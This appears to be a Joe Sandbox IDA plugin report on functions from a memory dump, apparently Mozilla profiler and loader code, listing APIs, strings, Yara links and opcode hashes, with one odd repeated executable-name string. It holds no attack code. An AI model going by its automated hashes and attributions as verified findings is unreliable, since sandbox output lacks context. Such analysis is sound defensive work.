Opcode ID: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction ID: a567c54825c9d0dd4802e5889b2207c3e97fdcc5694001012915b9adaaaaa60a
Opcode Fuzzy Hash: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction Fuzzy Hash: 58A17F746183818FC715CF29C4907AEBBE2FF89308F54491DE48A87B51DB70E849CB9A

Function 6C63B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C63B720
RtlNtStatusToDosError.NTDLL ref: 6C63B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C60FE3F,00000000,00000000,?,?,00000000,?,6C60FE3F), ref: 6C63B760

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cce7f1f3651690a481651484883f54f17abe3a29f722ca0105ee69ad12474bea
Instruction ID: 17570f66ba53922f969dfc04538c0dcfc18d8ce52c9ffef83ca5d0797eb32b52
Opcode Fuzzy Hash: cce7f1f3651690a481651484883f54f17abe3a29f722ca0105ee69ad12474bea
Instruction Fuzzy Hash: C5F0AFB0A0021CEEEF059BA18C88BEE77BCDB84319F50B12AE516626C0D774958CC76C

Function 6C5F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F5585, 6C5F55A8, 6C5F55C3, 6C5F5624

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction ID: a2d2aa7742d5b731d71ae67a5874b760f92b925f03d4e20c4982d9523ba86ab2
Opcode Fuzzy Hash: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction Fuzzy Hash: F2B25C71A056018FD709CF29CA90615BBE2BFC5324B29C76DE47A8B7A5D771E842CF80

Function 6C6385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C638C7C
__aulldiv.LIBCMT ref: 6C638DD7

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: ebf74af3fb99a8c5bf9fb8866be4cc2633d914b14831cfd284b0dc9c04efdbc4
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 8A326F31F001298BDF18CE9DC8A17EEB7B2EB89304F15A12BD40AFB7A0D6345D458B95

Function 6C6476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C647B0B, 6C647796, 6C6479C0, 6C64793C, 6C647E0B, 6C6479FB

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 2d0d3dd943d09ed4a1d46dbe8c527f5a2d9fb02aa9cd616dd452ed3bbb2e7526
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: B032F771E006198FCB14CF98C890AADFBB2FF89308F64C569C949A7745D731A986CF94

Function 6C646E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C647B0B, 6C6479C0, 6C647C03, 6C64793C, 6C647C72, 6C647E0B, 6C6479FB

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 4913812fa37c5a956e07bc23339cc396eff2b2b772d2db93f5219421394c71e7
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: D122D771E006198FCB14CF98C880AADF7F2FF89308F6585A9C949A7745D731A986CF94

Function 6C615C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5E4A63,?,?), ref: 6C615F06

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction ID: 741a313e849ee4dc7c16685333abf84a58ab04491cfe60fb1b9412eec6b075f5
Opcode Fuzzy Hash: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction Fuzzy Hash: 23C19D75E052498FCB04CF99C1906EEFBF2BF8A319F288159D8556BB44D732A806CF94

Function 6C5DDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05c972eaaf082441681df12947e96534e88eceb591bc079a432ebf48941dba18
Instruction ID: 3fe8c7af6faab6aca3a16e0437a159ca5a0b1a2ee05c6830bb5834a526c25e8b
Opcode Fuzzy Hash: 05c972eaaf082441681df12947e96534e88eceb591bc079a432ebf48941dba18
Instruction Fuzzy Hash: 0842C532A087508BD304CE3CC89175AF3E2BFC9354F1A8B2DE999A7791D774E9418B85

Function 6C600512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 19de1656de91102e459d0925be66ab7856cbe58f7b598c0cf805078c4df466ef
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4C221671E046198FCB18CF98C990AADF7B2FF89308F548299C54AB7745D731A986CF84

Function 6C64AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction ID: 3d870cb035298b8a5d441383b670dc1126e9188ebc4a8e7302ebbf7b33658fce
Opcode Fuzzy Hash: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction Fuzzy Hash: 8AF14772608745AFD700CE28C8807AEB7E2AFC6319F14CA3DE4D4877C2E37498858796

Function 6C5DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 21f6ace8cee4ae7ffb7713cda4769ab346ce877174a7e28a6080b5139fef2ac9
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: EBA19F71F0061A8FDB08CE6DC8917AEB7F2AFC9354F198169D915E7781DB34AC068B90

Function 6C617710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 9293f222a8194148ecba3861dbf85a3ade6a9a4da92551066112633487696513
Instruction ID: 8a57f8ea25eb616df25584ec7f331419c52df0cda061f0156c60d6a81f95441c
Opcode Fuzzy Hash: 9293f222a8194148ecba3861dbf85a3ade6a9a4da92551066112633487696513
Instruction Fuzzy Hash: 4C716C75E052198FCF08CFA9D8905EDBBB2FF89315F24816ED416ABB40D731A905CB94

Function 6C61CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5E582D), ref: 6C61CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5E582D), ref: 6C61CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C64FE98,?,?,?,?,?,6C5E582D), ref: 6C61CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C61CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C61CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C61CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C61CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C61CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C61CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C61CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C61CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C61CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C61CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C61CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C61CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C61CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C61CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C61CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C61CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C61CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C61CE8A

Strings

mainthreadio, xrefs: 6C61CC7C
power, xrefs: 6C61CE84
stackwalk, xrefs: 6C61CCF8
samplingallthreads, xrefs: 6C61CE2C
java, xrefs: 6C61CC37
markersallthreads, xrefs: 6C61CE42
notimerresolutionchange, xrefs: 6C61CE00
noiostacks, xrefs: 6C61CCBE
nostacksampling, xrefs: 6C61CD7C
screenshots, xrefs: 6C61CCD4
leaf, xrefs: 6C61CC66
fileio, xrefs: 6C61CC92
processcpu, xrefs: 6C61CE6E
ipcmessages, xrefs: 6C61CDBE
nativeallocations, xrefs: 6C61CDA8
fileioall, xrefs: 6C61CCA8
seqstyle, xrefs: 6C61CCE6
cpuallthreads, xrefs: 6C61CE16
ikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT., xrefs: 6C61CE92
preferencereads, xrefs: 6C61CD92
Unrecognized feature "%s"., xrefs: 6C61CEA0
jsallocations, xrefs: 6C61CD0E
default, xrefs: 6C61CC21
unregisteredthreads, xrefs: 6C61CE58
audiocallbacktracing, xrefs: 6C61CDD4

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.exeXXGkXRIXqEmGyUGMoeDeIhXikT.$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1474092503
Opcode ID: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction ID: d3b00b400cd3820691a1b9e34c779d37908027b9086f277c5eee8db38f294f62
Opcode Fuzzy Hash: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction Fuzzy Hash: E85144D1E5D62572FB01312D6D21BEE2485EF5324BF14C436EE0BA1F80FA05961AC9AF

Function 6C5E47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5E4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E482D
__Init_thread_footer.LIBCMT ref: 6C5E484A

Part of subcall function 6C60AB3F: EnterCriticalSection.KERNEL32(6C65E370,?,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB49
Part of subcall function 6C60AB3F: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D3527,6C65F6CC,?,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60AB7C

GetCurrentThreadId.KERNEL32 ref: 6C5E485F
GetCurrentThreadId.KERNEL32 ref: 6C5E487E
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E488B
free.MOZGLUE(?), ref: 6C5E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E4956
free.MOZGLUE(00000000), ref: 6C5E4960
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C5E499A

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

free.MOZGLUE(?), ref: 6C5E49C6
free.MOZGLUE(?), ref: 6C5E49E9

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E47FC
[I %d/%d] profiler_shutdown, xrefs: 6C5E4A06
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E4828
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E4812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5E4A42

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 7c43a1bcac91c4d75482db327d76e897f090b38c4d83e1f6486723685cdd22e5
Instruction ID: 8b51eb3d8a00707c0d8055fa03c1ba054506f631f48756299555e64bf5a7aa55
Opcode Fuzzy Hash: 7c43a1bcac91c4d75482db327d76e897f090b38c4d83e1f6486723685cdd22e5
Instruction Fuzzy Hash: C5811771A001108FDB04DFA9CC8475A3776EF8A328FA40669D916E7B42E731E855CB9E

Function 6C5E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5E44B2,6C65E21C,6C65F7F8), ref: 6C5E473E
Part of subcall function 6C5E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5E44D2
InitOnceExecuteOnce.KERNEL32(6C65F80C,6C5DF240,?,?), ref: 6C5E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E455C
LoadLibraryW.KERNEL32(?), ref: 6C5E4592
InitializeCriticalSection.KERNEL32(6C65F770), ref: 6C5E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5E45BB
InitOnceExecuteOnce.KERNEL32(6C65F818,6C5DF240,?,?), ref: 6C5E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E466D
VerSetConditionMask.NTDLL ref: 6C5E469F
VerSetConditionMask.NTDLL ref: 6C5E46AB
VerSetConditionMask.NTDLL ref: 6C5E46B2
VerSetConditionMask.NTDLL ref: 6C5E46B9
VerSetConditionMask.NTDLL ref: 6C5E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5E46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C5E46F7
l, xrefs: 6C5E4578
kernel32.dll, xrefs: 6C5E44CD
Gel, xrefs: 6C5E44FC
user32.dll, xrefs: 6C5E4557, 6C5E463F
WRusr.dll, xrefs: 6C5E44B5

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gel$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1815337822
Opcode ID: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction ID: 26d91c04bde3dd1768c0c5bb053ff436fe25d81af04362e04d96a29858b94683
Opcode Fuzzy Hash: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction Fuzzy Hash: DB6148B0600344AFEB00DFA2DC85BA57BB8FF8A308FB4C559E5049B641D3B18955CF9A

Function 6C61F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F70E
